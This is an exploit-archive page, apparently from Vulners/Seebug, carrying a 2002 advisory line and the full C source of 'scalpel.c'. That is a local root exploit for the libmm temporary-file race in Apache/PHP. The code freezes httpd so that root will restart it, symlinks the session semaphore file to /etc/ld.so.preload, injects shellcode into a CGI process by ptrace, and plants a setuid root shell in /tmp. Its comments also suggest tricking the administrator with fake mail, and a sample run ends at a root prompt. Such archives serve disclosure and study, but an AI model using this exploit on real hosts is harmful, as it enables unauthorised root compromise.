Lucene search
K

MM 1.0.x/1.1.x Shared Memory Library Temporary File Privilege Escalation Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 19 Views

MM 1.0.x/1.1.x Shared Memory Library Privilege Escalation Vulnerabilit

Code

                                                source: http://www.securityfocus.com/bid/5352/info

The MM Shared Memory library is reported to be prone to a race condition with regards to temporary files which may enable a local attacker to gain elevated privileges. This issue may reportedly be exploited by an attacker with shell access as the Apache webserver user to gain root privileges on a vulnerable host. 

/*** scalpel.c -- local apache/PHP root via libmm (apache-user -> root)
 ***
 *** (C) 2002 Sebastian Krahmer proof of concept exploit.
 ***
 *** Exploiting conditions:
 ***
 *** Apache is linked against libmm which has /tmp races.
 *** Upon Apache start or restart code is executed like
 *** unlink("/tmp/session_mm.sem"); open("/tmp/session_mm.sem", O_RDWR|O_CREAT).
 *** If attacker exploited any CGI or PHP script remotely he gained
 *** apache-user and can go one step further to get root by:
 ***
 *** 1) STOPing all httpd's and bring root to execute /etc/rc.d/apache restart
 ***    Its very likely root does so because webserver just doesnt work anymore
 ***    (all childs are STOPed). One can also send him fake-mail
 ***    from httpd-watchdog that he has to invoke the command.
 *** 2) Install signal-handler and using 2.4 directory notifying to see when
 ***    /tmp/session_mm.sem is unlinked. Create link to /etc/ld.so.preload
 ***    immediately which makes Apache creating that file.
 *** 3) Trigger execution of a CGI script where Apache leaks a descriptor
 ***    (r+w) to /etc/ld.so.preload to the child.
 *** 4) Ptrace that script, inject code which writes content to preload-file.
 *** 5) Execute suid-helper to execute code as root.
 ***
 *** Note in 4) that we cant ptrace httpd alone because it setuid'ed from root
 *** to apache-user thus setting id-changed flag. By triggering execve() of
 *** a CGI script this flag is cleared and we can hijack process.
 ***
 *** assert(must-be-apache-user && must-have-a-cgi-script-installed &&
 ***        must-bring-root-to-restart-apache);
 ***
 ***
 *** wwwrun@liane:~> cc scalpel.c -Wall
 *** wwwrun@liane:~> ./a.out /cgi-bin/genindex.pl
 *** httpd(2368): Operation not permitted
 *** Creating /tmp/boomsh
 *** Creating /tmp/boomso
 *** Installed signal-handler. Waiting for apache restart.
 *** ++++++Forking off proc-scan to attach to CGI-script.
 *** Triggering CGI: /cgi-bin/genindex.pl
 *** Got cgi-bin PID 2460
 *** Injecting of write-code finished.
 *** blub
 *** +sh-2.05# id
 *** uid=0(root) gid=65534(nogroup) groups=65534(nogroup)
 *** sh-2.05#
 ***/

#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <sys/stat.h>
#include <dirent.h>
#include <sys/types.h>
#include <string.h>
#include <errno.h>
#include <sys/ptrace.h>
#include <asm/ptrace.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdlib.h>
#include <sys/wait.h>

/* Please do not complain about ugly code; its a 1h exploit.
 * For good code see crypto-pty for example ;-)
 */
int create_link()
{
	symlink("/etc/ld.so.preload", "/tmp/session_mm.sem");
	return 0;
}


void die(char *s)
{
	perror(s);
	exit(errno);
}

void sig_x(int x)
{
	create_link();
	printf("+");
}


void usage()
{
	printf("Usage: scalpel <cgi-script>\n\n"
	       "i.e. ./scalpel /cgi-bin/moo.cgi\n");
	exit(1);
}

int scan_proc()
{
	int lastpid, fd, i, pid, done = 0;
	unsigned int eip;
	char fname[1024];
	char code[] = 
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\xe8\x10\x00\x00\x00\x2f\x74\x6d\x70\x2f\x62\x6f"
		"\x6f\x6d\x73\x68\x2e\x73\x6f\x0a\x00\xb8\x04\x00"
		"\x00\x00\xbb\x05\x00\x00\x00\x59\xba\x0f\x00\x00"
		"\x00\xcd\x80\xb8\x01\x00\x00\x00\x31\xdb\xcd\x80";
	unsigned long *p;

	printf("Forking off proc-scan to attach to CGI-script.\n");

	if (fork() > 0)
		return 0;

	lastpid = getpid();

	while (!done) {
		for (i = 0; i < 100; ++i) {
			snprintf(fname, sizeof(fname), "/proc/%d/cmdline", lastpid+i);
			if ((fd = open(fname, O_RDONLY)) < 0)
				continue;
			read(fd, fname, sizeof(fname));
			close(fd);
			if (strcmp(fname, "/usr/bin/perl") == 0) {
				if (ptrace(PTRACE_ATTACH, lastpid+i,0,0) < 0) {
					pid = lastpid+i;
					done = 1;
					break;
				}
			}
		}
	}
			
	printf("Got cgi-bin PID %d\n", pid);

	waitpid(pid, NULL, 0);

	eip = ptrace(PTRACE_PEEKUSER, pid, 4*EIP, 0);
	if (errno)
		die("ptrace");
	for (p = (unsigned long*)code; i < sizeof(code); i+= 4, ++p) {
		if (ptrace(PTRACE_POKETEXT, pid, eip + i, *p) < 0)
			die("ptrace");
	}

	if (ptrace(PTRACE_POKEUSER, pid, 4*EIP, eip+4) < 0)
		die("ptrace");

	if (ptrace(PTRACE_DETACH, pid, 0, 0) < 0)
		die("ptrace");
	printf("Injecting of write-code finished.\n");
	exit(0);
}


int tcp_connect(const char *host, u_short port)
{
	int sock;
	struct hostent *he;
	struct sockaddr_in sin;

	if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0)
		die("sock");

	if ((he = gethostbyname(host)) == NULL) {
		herror("gethostbyname");
		exit(EXIT_FAILURE);
	}

	memset(&sin, 0, sizeof(sin));
	memcpy(&sin.sin_addr, he->h_addr, he->h_length);
	sin.sin_family = AF_INET;
	sin.sin_port = port == 0 ? htons(80):htons(port);

	if (connect(sock, (struct sockaddr*)&sin, sizeof(sin)) < 0) {
		close(sock);
		return -1;
	}
	return sock;
}


int trigger_cgi(const char *cgi)
{
	char cmd[1024];
	int sock = tcp_connect("127.0.0.1", 80);

	printf("Triggering CGI: %s\n", cgi);

	snprintf(cmd, sizeof(cmd), "GET %s HTTP/1.0\r\n\r\n", cgi);
	if (write(sock, cmd, strlen(cmd)) < 0)
		die("write");
	sleep(1);
	close(sock);
	return 0;
}

int create_boomsh()
{
	FILE *f = fopen("/tmp/boomsh.c", "w+");

	printf("Creating /tmp/boomsh\n");
	if (!f)
		die("fopen");
	fprintf(f, "#include <stdio.h>\nint main()\n{\nchar *a[]={\"/bin/sh\",0};"
		   "setuid(0); execve(*a, a, NULL);return 1;}\n");
	fclose(f);
	system("gcc /tmp/boomsh.c -o /tmp/boomsh");
	return 0;
}


int create_boomso()
{
	FILE *f = fopen("/tmp/boomso.c", "w+");

	printf("Creating /tmp/boomso\n");
	if (!f)
		die("fopen");
	fprintf(f, "#include <stdio.h>\nvoid _init(){if (geteuid()) return;printf(\"blub\n\");"
		   "chown(\"/tmp/boomsh\",0, 0); chmod(\"/tmp/boomsh\", 04755);"
	           "unlink(\"/etc/ld.so.preload\");exit(0);}");
	fclose(f);
	system("gcc -c -fPIC /tmp/boomso.c -o /tmp/boomso.o;"
	       "ld -Bshareable /tmp/boomso.o -o /tmp/boomsh.so");
	return 0;
}


int main(int argc, char **argv)
{
	int fd;
	struct stat st;
	char *cgi = NULL;
	extern char **environ;
	char *boomsh[] = {"/tmp/boomsh", NULL};
	char *suid[] = {"/bin/su", NULL};

	if (argc < 2)
		usage();

	cgi = strdup(argv[1]);

	setbuffer(stdout, NULL, 0);

	system("killall -STOP httpd");

	create_boomsh();
	create_boomso();

	if ((fd = open("/tmp", O_RDONLY|O_DIRECTORY)) < 0) {
		return -1;
	}

	if (fcntl(fd, F_SETSIG, SIGUSR1) < 0) {
		return -1;
	}

	if (fcntl(fd, F_NOTIFY, DN_MODIFY|DN_DELETE|DN_RENAME|DN_ATTRIB
			       |DN_CREATE|DN_MULTISHOT|DN_ACCESS) < 0) {
		return -1;
	}
	
	signal(SIGUSR1, sig_x);

	printf("Installed signal-handler. Waiting for apache restart.\n");

	/* wait for /etc/ld.so.preload to apear */
	while (stat("/etc/ld.so.preload", &st) < 0)
		sleep(1);


	/* forks off daemon */
	scan_proc();

	/* Trigger execution of a CGI-script */
	trigger_cgi(cgi);

	for(;;) {
		sleep(1);
		memset(&st, 0,sizeof(st));
		stat("/etc/ld.so.preload", &st);
		if (st.st_size > 0)
			break;
		if (stat("/tmp/boomsh", &st) == 0 && st.st_uid == 0)
			break;
	}

	/* Apropriate content is in /etc/ld.so.preload now */
	if (fork() == 0) {
		execve(*suid, suid, NULL);
		exit(1);
	}
	sleep(3);
	execve(*boomsh, boomsh, environ);

	return 0;
}


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation